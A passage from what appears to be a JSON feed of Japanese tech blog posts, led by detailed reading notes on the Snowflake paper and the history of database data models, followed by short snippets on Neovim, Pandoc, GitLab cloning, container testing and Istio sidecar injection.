Architecture一時ストレージの設計SSDで構成されている。一時データは可能な限りメモリに保存されメモリで保持しきれないデータはスワップ領域のようにSSDに保存される。さらにSSDの空き容量が枯渇した場合、一時的に永続ストレージに保存される。一時ストレージは永続化が不要なデータの保管以外にも永続化データのキャッシュとしても機能する。このキャッシュは日和見的(opportunistically)キャッシュと呼ばれており、その理由は中間データを常に優先するからである。クエリスケジューリングユーザーからのクエリはサービスエンドポイントでパース、実行計画の生成、最適化、実行に必要タスクの生成が行なわれ、ここで生成されたread/writeを含むタスクは計算リソースに割り振られ、計算リソースから必要に応じて一時、永続ストレージからのデータ取得が行なわれる。このときタスクの割り振りは一時ストレージが対象の永続データをキャッシュしているかも考慮される。またSnowflakeは Work stealingという他ノードに割り振られたタスクをあるノードの方が速く処理できる場合、臨機応変にタスクを実行するしくみがある。リソースの柔軟性ストレージと計算リソースを分離することでSnowflakeはそれぞれを独立してスケールアウトさせている。ストレージの柔軟性はデータストアであるS3に委任している一方で、計算リソースの柔軟性は事前に暖気運転されたノードプールによって実現している。Snowflakeでは永続データのキャッシュ時に保存されるノードが決っている一方で、対象となるデータをキャッシュするノードがない場合、一時的にほかのノードにタスクを割り振り計算リソースがスケールし対象となるデータがキャッシュされた時に再度タスクを割り当てるという機能が存在する。まとめと考察SnowflakeはS3を永続ストレージとして使用、VM全体を計算リソースとそのメモリ、スワップ領域とみなすことでスケーラビリティと高いパフォーマンスを実現した。とくに日和見的キャッシュとタスクスケジューリングメカニズムはShared-nothing方式の抱えていた、リバランスの問題を解決した。Snowflakeが現在達成できていないマルチテナントや計算リソースの高いユーティリゼーションの実現方法としてあげている手法をとっているため、今後の機能追加が競争力維持のために重要となる。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/2_snowflake_sigmod_22","isoDate":"2023-02-07T15:34:03.000Z","dateMiliSeconds":1675784043000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"NeovimのターミナルをExコマンド実行環境化する","contentSnippet":"Neovim内に開いたTerminalで:から始まる文字列を入力すると、Neovimで実行した結果を表示する仕組みを作ってみました。","link":"https://blog.atusy.net/2023/02/02/zsh-as-nvim-cmdline/","isoDate":"2023-02-02T00:00:00.000Z","dateMiliSeconds":1675296000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2023年の目標","contentSnippet":"前回のブログで「近々、新年の抱負として、今年やりたいことを書きたいと思っています。」と書いておきながら、もう少しで1ヶ月が経ってしまいます。(近々とは?って感じですけど 笑)1月は、大学のテストと溜まりに溜まった課題で手一杯でしたが、1月31日でそれも終わり、ひと段落したため、今年の目標について書いていこうと思います。目標は大きく4つあります。1つ目は、大学の研究です。これは目標というよりも、頑張ることになってますね。どれだけ独学で勉強しても、趣味でいろいろシステム開発しても、まずは大学を卒業しなければ、学士にはなれないため、これは間違いなく最優先で行わなければいけません。大学の授業としても、あと残っているのが卒業研究だけであるため、今年大学でやること・頑張ることはこれだけかなと思います。大学に行って、ひたすら研究、研究、研究になる気がします。2つ目は、Hack The BoxでHackerランクになることです。昨年の3月ごろからHack The Boxを始めて、時間があるときに取り組んでいましたが、Starting Pointのいろいろな箇所で詰まったり、そもそも時間を十分に取れなかったりして、あまり攻略できていませんでした。今年は、授業もあまりなく、時間も取れそうなため、本腰を入れて頑張りたいと思います。具体的な数字でいうと、少なくとも毎日1時間、朝8時〜9時までをHack The Boxを攻略する時間に当てようと思っています。理想は、2時間、3時間、時間が取れるならそれよりもという感じなんですけど、日によっては、忙しい日もあるので、そんな日でも取れそうな最低限の1時間にしました。こういうのは1日に頑張りすぎるよりも、継続することが大事だと思うので、毎日コツコツやっていきたいと思います。将来的にはセキュリティ関連の仕事をしたいため、攻撃を通して防御を学び、防御を通して攻撃を学んでいきたいと思います。3つ目は、資格の取得です。今まで、基本情報技術者、応用情報技術者を取ってきたため、今年は、情報処理安全確保支援士に挑戦したいと思っています。資格は、知識問題でしかないから、社会では使えないという意見もあり、自分でも知識(知っていること) とスキル(できること)は違うと思っているため、半分は同意できるのですが、一方で、資格を取るために勉強するというこの資格を取るまでの過程が大事だとも思っています。また、幅広く体系的な知識を習得できるというのも資格取得のメリットだと思っています。情報処理安全確保支援士取得に向けて、これから頑張りたいと思います。4つ目は、学外のイベントに参加することです。セキュリティキャンプやSecHack365といったセキュリティ関連のイベントに加え、ハッカソンやカンファレンスにも参加していきたいと思っています。前までは、自分のスキルでは学外イベントに参加するのは恥ずかしいと思い、挑戦できていなかったのですが、昨年、ハッカソンやセキュリティ・ミニキャンプに参加することで、参加する人全員がすごい人ではなく、自分と似たような人もいるし、イベントを通して、成長したいという人がたくさんいることも知りました。今年は、昨年に引き続き、より多くのイベントに参加し、成長できる環境に自分から臨んでいきたいと思います。1月も終わり、今年もあと11ヶ月になりましたが、いろいろな経験をして、たくさんの人に出会い、成長できたと言える1年にしていきたいと思います。","link":"https://moz-security.hatenablog.com/entry/2023/02/01/112627","isoDate":"2023-02-01T02:26:27.000Z","dateMiliSeconds":1675218387000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"PandocのLuaフィルタ内で引用文献を処理するpandoc.utils.citeprocを試す","contentSnippet":"Pandocで引用文献を処理する方法として、--citeproc引数と--lua-filter引数を使う場合を比較。 後者ではpandoc.utils.citeproc関数を利用。 Luaフィルタを使うとASTレベルで引用文献を処理するので、更にフィルタをかけたい場合に便利。 ただし、--citeproc引数と併用すると引用文献のリストを2回繰り返すので排他利用を推奨。","link":"https://blog.atusy.net/2023/01/31/pandoc-citeproc-lua/","isoDate":"2023-01-31T00:00:00.000Z","dateMiliSeconds":1675123200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CMU Advanced Database Systems Spring2023のReading Assignmentを読む part1","contentSnippet":"CMU Advanced Database Systems Spring2023とはカーネギメロン大学(CMU)ではAdvanced Database Systemsという講義が開講されており、特に2023年1月始まりの講義です。講義の内容はモダンなDBMSの内部実装を学んで行くコースとなっており、データベースの歴史を皮切りにOLAP DB、ストレージモデルやCompressionなどなど様々な実装を学べるそうです。https://15721.courses.cs.cmu.edu/spring2023/この講義はReading Assignmentがあり、その対象となる論文や書籍内容は一般に公開されています。(一部非公開)この記事ではその第一回、History of Databasesの\\"What Goes Around Comes Around\\"を読んだ感想文となります。CMU生にはさらにWhat \\"What Goes Around Comes Around... And Around\\"という2023年公開の最新版があるそうです。おそらくドキュメント指向やKVS、グラフ指向やNewSQLなど様々な加筆があるのでしょう。読んでみたいですね。論文を読んでIMS、CODASYL時代からリレーショナルへの変遷をたどったことで後世においてより良いとして選ばれたものとそれへの反対、新しい機能の提案とそれが市場に受け入れられるプロセス、そして複雑さとシンプルさのサイクルを学んだ。おそらくこれらの変遷、市場との関わり方はデータベースのみならずあらゆることに適応できるんじゃないかと思う。現在の比較的新しい技術であるNewSQLはもともと市場のelepahntであるGoogleにより生み出され、また既存のRDBが抱えていたwriteスケールアウトへの課題からおそらく今後受容されるのではないかと思う。またXMLで生まれたセミ構造化が比較的シンプルな現在のJSONやドキュメントDBに受け継がれたこと、またビジネス側の素早い開発に対応したいというニーズの合致により現在の成功があるのでしょう。一方でOracleのConverged Databaseの考え方は正しいと思える反面、RDBの起原であるシンプルさからは遠ざかっているように感じる。XMLやCODASYLほど難しくなければ大丈夫なのだろうが、このまま機能を膨らませ続けると……と不安にもなる。What Goes Around Comes AroundAbstractこの論文はタイトルからわかるとおりデータベースの歴史についてまとめたもので、1960年代から2006年までの35年を9つの時代に分けて振り返っている。35年の歴史の中でデータモデルは共通したアイデアが多く、たった数種類しか登場していない。データベースの歴史を学ぶ重要性としてほとんどの研究者は歴史を学んでおらず、すでに否定されたアプローチを再発してしまうことがあるためである。実際今(2006年当時)のXML時代は1970年代のCODASYLの「複雑さ」という失敗を繰り返している。Introductionデータモデルの提案は1960年代から始まった。この論文では以下の9つの時代についてまとめている。階層型(IMS): 1960年代後半から1970年代にかけてネットワーク(CODASYL): 1970年代リレーショナル: 1970年代から1980年代前半にかけてエンティティ-リレーションシップ: 1970年代拡張リレーショナル: 1980年代セマンティック: 1970年代後半から1980年代オブジェクト指向: 1980年代後半から1990年代前半オブジェクトリレーショナル: 1980年代後半から1990年代前半セミ構造化: 1990年代後半から現在(2006年当時)階層型(IMS): 1960年代後半から1970年代にかけてIMSは1968年にリリースされた階層型データモデルでレコードタイプの概念を持っていた。レコードタイプとはデータ型に紐付いた名前のついたフィールドの集まりである。それぞれのインスタンスのレコードタイプはレコードタイプによって指定されたデータの説明に従っており、またいくつかの名前付きフィールドはどのレコードを指定しているのか明示していなければならない(Keyのようなもの)。そしてレコードタイプは木構造を成している1これらを満たす木構造データには2つの課題があり、は情報の重複と(ルート以外)親が必ず存在しなければ行けないことである。コメント: 現代プログラミングでも情報の重複は同様の理由で忌諱されてますね。IMSが階層型データを選んだのはデータ処理をシンプルにするためである。IMSの操作言語DL/1は1レコードずつしか処理できず(record-at-a-time)、プログラマがクエリのアルゴリズムを記述しIMSが実行する方式を取っていた。IMSは4つのストレージフォーマットがありいくつかはDL/1の実行に制限を与えた。それはオペレーションのパフォーマンス劣化を防ぐためであったものの、DL/1のプログラムが正しく動くことを保証できないためデータの保存方法を最適化することができなかった。データベースアプリケーションがどんなチューニングが行われたかに関わらず物理レベルで動き続けることをデータの物理的独立性(physical data independence)と呼ぶ。DBMSアプリケーションは通常一度に書かれるわけではないため重要である。新規プログラムが追加されるたびにチューニングの需要は変わり、より良いDBMSのパフォーマンスはストレージの構成を変更することで達成される。データの論理的独立性(logical data independence)をサポートしていた。コメント: ビジネスロジックが増えてもDBMSを使うアプリの機能を追加できないと困る上で記載したIMSの課題を解決するためにIMSは異なる2つのデータベースからデータタイプを共通の値で\\"fused(joined)\\"する方法を提供した。このIMSの特徴から以下のレッスンを学ぶことができる。データの物理的・論理的独立性は非常に望ましい木構造データモデルはとても制限的洗練された木構造データの論理的データ再構成は難しいrecord-at-a-timeユーザーインターフェースはプログラマにマニュアルのクエリ最適化を強制し、それはしばしば難しい。ネットワーク(CODASYL): 1970年代CODASYL(Committie on Data Systems Languages)委員会は1969年にネットワークデータモデルのレポートをリリースした。委員会は1971年、1973年とread-at-a-time型データ処理言語の仕様をリリースしており、アドホック型の委員会であった。ネットワークデータモデルはそれぞれKeyを持ったレコードタイプの集まりから構成されており、木構造というよりはネットワーク構造になっている。インスタンスは複数のownerを持つことができ、IMSが\\"fused\\"として提供していたデータ構造をより自然に表現できた。childレコードタイプを持つことができ、要するに1-to-nの関係が成り立つ。CODASYLのネットワークは複数の名前の付きレコードタイプと名前付きsetからなるグラフであり、そこには必ず一つ以上のentry pointが存在する。entry pointとはいずれのsetのchildでもないレコードセットである。このCODASYLのデータ構造はIMSのいくつかの問題を解決したものの、setが双方向関係(two-way relationship)しか示すことができず三方向関係(three-way relationship)を表現する場合3つのsetが必要になり不自然な表現になってしまう。コメント: 3つのFKを持つテーブルを作るときにjunction tableが3必要になるからってこと?またCODASYLのデータアクセス言語はrecord-at-a-time方式を取っており、子レコードタイプのentry pointとなる親以外の親に到達したい場合、entry pointのsetに属する子を探しその中から子につながる特定のsetを持つ親を探すという方法を取る。プログラマが最後にアプリケーションがアクセスしたレコード、最後にアクセスしたレコードのレコードタイプ、そして最後にアクセスしたレコードのsetタイプを管理する必要がありCharlie Bachman(産業界のデータベース研究者)が「四次元を航海するようだ」と表現下ほど難解であった。加えてIMSがそれぞれのデータベースが独立して外部データソースからのバルクロードが可能だったに対し、CODASYLはすべてのデータが一つの大きなネットワークであったため大きなデータを一度にロードする必要があり時間がかかった。そしてCODASYLのデータベースが破損した場合すべてのデータをダンプから復元する必要があり、データの復旧に多くの時間がかかった。このCODASYLの特性から以下のレッスンを学ぶことができる。ネットワークは階層型に比べ柔軟であるが複雑でもある。ネットワークの読み込みと復旧は階層型に比べ複雑である。リレーショナル: 1970年代から1980年代前半にかけて階層型とネットワーク型データベースを背景に1970年、Ted Coddはリレーショナルモデルを提案した。このデータモデルはデータの独立性にフォーカスされている。この提案は以下の3つである。データをシンプルに構造で保存する(テーブル)データにはハイレベルなset-at-a-time DMLでアクセスする物理ストレージへの提案は不要シンプルなデータ構造にすることで論理的データの独立性を、ハイレベルなDMLでを提供することで物理的データの独立性を提供し、物理ストレージの提案を不要とした。またリレーショナルモデルの柔軟さはほとんどすべてのデータを表現可能というアドバンテージを実現した。研究者を始めとしたリレーショナルデータベース推進派と産業界のDBMSユーザーによるCODASYL推進派で、どちらのほうが優れているかという議論が行われた。マイコンの大量生産と一般化により、OracleやINGRESなど多くの商用リレーショナルシスタムが台頭した。一方で既存のネットワークモデルシステムは移植性が低くマイコンではあまり広がらなかった。しかし産業界が強いメインフレームではIMSやIDMSなどリレーショナルではないシステムが引き続き使われた。また現実的なデータマネジメントはメインフレームで行われた。1984年にIBMがDB/2をメインフレーム向けにリリース。DB/2は容易に使うことができたため市場で大きな成功を収め、リレーショナルデータベースをの今後を決定付けSQLはリレーショナル言語のデファクトとなった。コメント: RDBが成功するのは必然のように思えるがIBMのDB/2がリリースされなければどのように展開していたのだろうその後IBMはIMSのインターフェースとしてDL/1だけではなくSQLを対応する方針を取った。IMSの上にSQLを対応させるのは非常に難航した。これらの経緯から以下のレッスンを学ぶことができる。Set-at-a-time言語は物理的データの独立性を向上させるため、データモデルに関わらず優れている論理的データ独立性はシンプルなデータモデルほど達成しやすい技術的な議論は技術的な理由よりも市場の雄によって左右されることが多いクエリオプティマイザはDBMSアプリケーションのプログラマによって書かれたrecord-at-a-timeのクエリより優れていたエンティティ-リレーションシップ: 1970年代Peter Chenは1970年代中盤にリレーショナルやCODASYL、階層型の大体としてエンティティ-リレーションシップ(E-R)データモデルを提案した。この提案ではデータベースをエンティティのインスタンスの集合として捉え、いずれのエンティティもアトリビュートというエンティティの特徴を定めるデータエレメントを持つと定義した。アトリビュートをユニークなデータ(Key)としてデザインし、エンティティ間でリレーションシップを持つと定義した。データモデルとしてE-Rデータモデルが受け入れられることはなかった一方でデータベース(特にスキーマ)のデザインツールとして大きく成功した。当時すでに第一から第四を含む複数の正規化が提案されていたものの、機能的依存関係(Functional Dependencies)などを前提としていた。そのためデータベースアドミニストレータにとってはすぐに適用することが難しかった一方で、E-Rデータモデルを使用した手法とツールは第三正規化を行ったテーブル群を提供できたため大きく成功した。このE-Rデータモデルの経緯から機能的依存関係の理解は多くの人々にとって難しいという学びを得ることができる。拡張リレーショナル: 1980年代1980年代初頭頃からリレーションデータベースやクエリ言語の考えを拡張する形で様々論文が発表された。その中で発表された考えの中で特に影響の大きかったものはGemというクエリ言語であり特徴は以下である。Set-valued attributesアトリビュートに対して、そのようなデータ型を提供するAggregation (tuple-reference as a data type)Foreign Keyで参照されたほかエンティティのタプルに対して、\\"cascated dot\\"記法による以下のようなアクセス方法を提供する。Select Supply.SR.snoFrom SupplyWhere Supply.PT.pcolor = \\"red\\"Generalizationアトリビュートが共通する複数のエンティティがある時、共通部分を切り出したエンティティとそれを継承(inherit)するエンティティを作成できる。Gemは様々な便利な機能を提供した一方でリレーショナルモデルのクエリ言語に比べて速度が不足した。トランザクション処理のパフォーマンスとスケーラビリティに焦点を起き、大規模なビジネスシーンで使われた一方拡張リレーショナルなアイデアが与えた影響は一部にとどまった。そこから以下の学びを得ることができる。大きなパフォーマンスの改善または機能的優位性がない限り、新しい機能は受け入れられないセマンティック: 1970年代後半から1980年代時をおなじくしてリレーショナルとは他の学派がリレーショナルデータモデルは意味的に貧弱であると主張し、ポストリレーショナルデータモデルとしてセマンティックデータモデル(SDM)を提案した。SDMはクラスと呼ばれる同じスキーマに従うレコードの集まりに焦点を当てている。SDMはGemのようにAggrigationやGeneralizationを実装し、またSDMのGemeralizationでは複数のクラス同士で対応関係を持つアトリビュートや複数のエンティティからの継承(multiple inheritance)を提供した。そしてSDMのクラスはクラス変数を持っていた。ほとんどのSDMは非常に複雑であり、机上の提案で有ることが多かった。一部SDMデータベースを実装したものがあったが、そのときにはすでにSQLがデファクトと鳴っており、SQLとの互換性がないシステムは市場において成功を収めることは難しかった。SDMは拡張リレーショナルと同様の問題を2つ抱えていた。一つはほとんどの機能がリレーショナルデータベースで再現可能であること。もう一つは著名なベンダーはトランザクション処理の効率化に心血を注いでおり、あまり大きな影響を残すことがなかった。オブジェクト指向: 1980年代後半から1990年代前半1980年代半ばからオブジェクト指向DBMS(OODB)に関心が集まった。この流れはリレーショナルデータベースとC++をはじめとしたオブジェクト指向言語との間のインピーダンスミスマッチに起因するものであった。1970年末期、RDBでは独自の命名システム、データ型、クエリの結果を持ち、またプログラミング言語もそれらに対する独自のシステムを持っていた。データベースとプログラミング言語がそれぞれにやり取りするための仕組みを提供する必要があった。DBMSとプログラミング言語をより密結合させる機能を実装する流れができ、特に永続的プログラミング言語(persistent programming language)というプログラミング言語の変数でディスクベースのデータをメモリに乗ったデータのように扱う方法などを提供する言語を実装しようとした。プログラミング言語の取り組みはプログラミング言語の専門家には受け入れられず一般化することはなかった。このような経緯とC++の興盛があり1980年半ばに永続的プログラミング言語が再度注目され、またオブジェクト指向データベース(OODB)の研究が盛んになった。OODBではC++をデータモデルとしてサポートし、その結果C++のオブジェクトを永続化した。永続化C++はエンジニア市場に訴求するために1. 問い合わせはC++オブジェクトを通して参照する、2. トランザクション管理を行わない、3. 従来のC++と競争できるランタイムを提供する、といった要件を定めた。コメント: ORMマッパーのようなプログラム側でよしなにするのではなくDBMSで対処しようとするのが実にデータベース脳しかし以下のような理由からすべてのOODBベンダーは失敗した。OODBベンダーはデータのロード、アンロード機能を提供したが多くの顧客はそれに大金を払うほどの価値を見出さなかったスタンダードが存在せず、全てのOODBは互換性がなかった永続化されたオブジェクトのなにかが変更された場合、それを使用するすべてのプログラムは再読込を必要としたC++以外で書かれたアプリケーションが一つでもあるとOODBのデータを共有できなかった加えてOODBはトランザクション管理がなくビジネスデータを扱うには貧弱で、プログラムがデータベース上のすべてのデータにアクセスできる。そしてCODASYL時代と同様record-at-a-timeのクエリしか提供しないといった理由から市場に浸透することはなかった。これらのOODB時代から以下の教訓を得られる。システムは大きな課題を解決できなければ売れない永続的プログラミング言語はプログラミング言語のコミュニティからのサポートがなければ成功しないオブジェクトリレーショナル: 1980年代後半から1990年代前半オブジェクトリレーショナル(OR)時代はINGRESで地理情報システム(GIS)を扱いたいというモチベーションから始まった。INGRESSのB-treeでは一次元アクセスしか実装されておらず、簡単なGIS検索をSQLで表現することが難しく普通のB-treeで処理しようとすると非常に性能が悪かった。初期のRDBでは整数型、フロート型、文字列型と基本的なオペレータ、B-treeによるデータアクセスのみがサポートされていたが、GISをはじめとしたそれ以外のデータ型とアクセス方法を必要とする市場があった。そのような状況に対応するためORはユーザー定義のデータ型、オペレータ、関数、そしてアクセスメソッドの機能をSQLエンジンに追加した。その機能を搭載したプロトタイプとして1986年にPostgresが発表した。GISのような多次元インデックスに対応するためQuad treeやR-treeが提案され、高性能GIS DBMSを構築することができた。時をおなじくして、Sybaseがストアドプロシージャを開発した。これによりアプリケーションとDBMSの間で処理を少ないやり取りに減らすことができ、アプリケーションのパフォーマンスを効率化することができた。オブジェクト指向RDBMSとなった。当時PostgresはIlustraにより商用化され数年間は市場を探すことに苦労したものの、その後のインターネットの流行の波に乗りサイバースペースのデータベース(the data base for cyberspace)として成功を収めた。Postgresによって発展したOR技術はOracleなどにも適用され、またXMLのサポートにも使われている(た)。一方でOR技術はスタンダードが存在しないためビジネスでの仕様がはばかられた。我々はこのPostgresとオブジェクトリレーショナルから以下の学びを得られた。オブジェクトリレーショナルのメリットは以下の2つであるデータベースにコードをのせられる(またコードとデータの境界を曖昧にする)ユーザー定義アクセスメソッドの提供新しい技術を広げるにはスタンダードか大手によるゴリ押しが必須セミ構造化: 1990年代後半から現在(2006年当時)直近5年(2006年当時のため2000年ごろ)、セミ構造化データの研究の波が来ている。特にXMLを中心としたXMLSchemaやXQueryと行った技術である。それぞれの研究の共通点として特に下記の2つがある。Schema Last(データが先)複雑なネットワーク指向データモデル(XMLデータモデル)Schema Lastセミ構造化以前のデータモデルではデータをDBMSのに蓄積するためにはスキーマが必要であった。一方でセミ構造化データではスキーマ定義を後回し、または定義せずデータインスタンス自体が構造を説明する方式を取った。アトリビュートがメタデータを持つ必要がある。一方でそのようなデータは同一データタイプのインスタンス同士を比較することが難しい。なぜなら同じオブジェクトの情報が同じ表現をしていることとは限らないからである。このような状態をセマンティック異質性(semantic heterogeneity)と呼ぶ。データは以下の4種類に分類することができる。完全な構造化データいくらかのフィールド名を含む完全な構造化データセミ構造化データテキストデータSchema Lastアプローチを取れるのは3つ目のセミ構造化のみである。なぜなら1,2はORDBMSとして扱われるデータであり、4のテキストデータは完全にスキーマが存在しないからである。またそのようなデータは控えめな量であり、Schema lastデータベースはニッチなマーケットと言えるだろう。コメント: 2023年現在、確かに筆頭ではないもののニッチと言うには大きめな需要だと考える複雑なネットワーク指向データモデル(XMLデータモデル)XMLデータモデルはDocument Type Definitions(DTDs)またはXMLSchemaにより記載されるデータで、DBMS研究者のコミュニティでは欠陥があると考えられている。なぜならこれらの標準は今まで提案されたすべてのデータモデルの仕様を含み、十分複雑な仕様含むからである。例えばXMLSchemaは以下のような特徴がある。IMSのように階層化できるCODASYLやGem、SDMのように参照できるSDMのようにセット・アトリビュートを持てるSDMのように他のレコードを継承できるこれらに加えXMLSchemaはDBMSコミュニティがその複雑さのために既存のデータモデルには用いなかった、union type(一つのアトリビュートが複数のデータ型を取れる機能)などを実装している。XMLSchema以上に複雑なデータモデルも過去には存在していた。これほど複雑なデータモデルについて考察することは難しいが、以下の様なシナリオが考えられる。XMLSchemaはその複雑さから失敗するよりシンプルなXMLSchemaのデータ指向なサブセットが提案されるXMLSchemaはIMSやCODASYLと同様の問題を抱えながらも成功するコメント: 2023年現在JSONは2番目のシナリオのもと十分に成功したと言えるセミ構造化データのサマリXMLデータモデルはその複数の機能からまとめることは難しいが、XMLは通信をまたいで連携するためのデータモデルとして成功しあらゆるシステムはXMLデータの送受信に備えることになるだろう。コメント: 2023年現在ではJSONで置き換えられつつあるとはいえ、セミ構造化データが連携用データモデルとして成功したと言える理由は簡単で他のデータフォーマットがファイアウォールを超えることができない一方で、XMLはシステム間の成約をこう得てプレーンテキストとしてやり取りすることができるためである。XML DBMSは(2006年)現在主流なDBMSと競争することのできるパフォーマンスのエンジンとなると思われるが、Schema Lastは限られた市場でのものになるだろう。次にXqueryは複数ベンダーのOR SQLシステムをマッピングできるサブセットとなるだろう。XqueryをUDFとして定義することは難しくないため、既存のエンジンの上にXQuery関数をUDFとして定義することでSQLインターフェースの上に実装されるだろう。コメント: 実際2023年現在に主流なDBMSであるOracle、MySQL、PostgreSQLはいずれもXqueryとXML機能を提供しているまたXMLは時折セマンティック異質性(semantic heterogeneity)を解決すると考えられているがそのようなことはないだろう。これらのセミ構造化データとXMLはから以下のレッスンが得られる。Schema Lastはおそらくニッチな市場になるだろうXQueryはほぼOR SQLの別のシンタックスとなるだろうXMLはエンタープライズにおけるセマンティック異質性は解決しないまとめ(Full Circle)このペーパーでは30年間のデータモデルの変遷を追って来たが、30年間で一周したと言えるだろう。XMLによる再びの複雑さである。1980年代前半にCODASYLとリレーショナルの対立を経験したものはXMLのの成功を疑っている。歴史と同じ過ちを繰り返さないためにはすでにその道をたどった人々の肩の上に乗ることが重要である。it is always wise to stand on the shoulders of those who went before, rather than on their feet.直近の20年(1980年から2000年にかけて)本質的に新しかったデータモデルのアイデアはデータベース上のコード(オブジェクトリレーショナルから)Schema last(セミ構造化から)のみであった。注釈https://www.imagazine.co.jp/ims-data-solution/)より↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/1_history_of_database","isoDate":"2023-01-29T17:44:04.000Z","dateMiliSeconds":1675014244000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのテキストオブジェクトをカスタムできるmini.aiが便利","contentSnippet":"Mini.aiについてテキストオブジェクトを自作するi[で[ foo ]の両端のスペースを含めた範囲を選択するa]で[[ foo ]]のような二重カッコを選択するaj]で「 foo 」のような日本語のカッコを選択するMini.aiについてVimやNeovimのテキストオブジェクト、便利ですよね。","link":"https://blog.atusy.net/2023/01/27/mini-ai-nvim/","isoDate":"2023-01-27T00:00:00.000Z","dateMiliSeconds":1674777600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ArtifactHUBについてのメモ","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","link":"https://zenn.dev/bells17/articles/artifacthub-note","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","link":"https://zenn.dev/bells17/articles/container-structure-test","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"【Istio⛵️】サービスメッシュの登場経緯とIstioサイドカーインジェクションの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかサービスメッシュのモデルサイドカープロキシメッシュ03. admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サービスメッシュが登場した経緯なぜサービスメッシュが登場したのかそもそも、なぜサービスメッシュが登場したのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例:サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and why is it needed in Kubernetes?サービスメッシュのモデル前述の通り、サービスメッシュの登場前は、アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装していました。これを、『共有ライブラリモデル』と呼びます。その後、『サイドカーモデル』とも呼ばれるサイドカープロキシメッシュが登場しました。執筆時点 (2023/01/14) では、『カーネルモデル』とも呼ばれるサイドカーフリーメッシュが登場しています。サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) 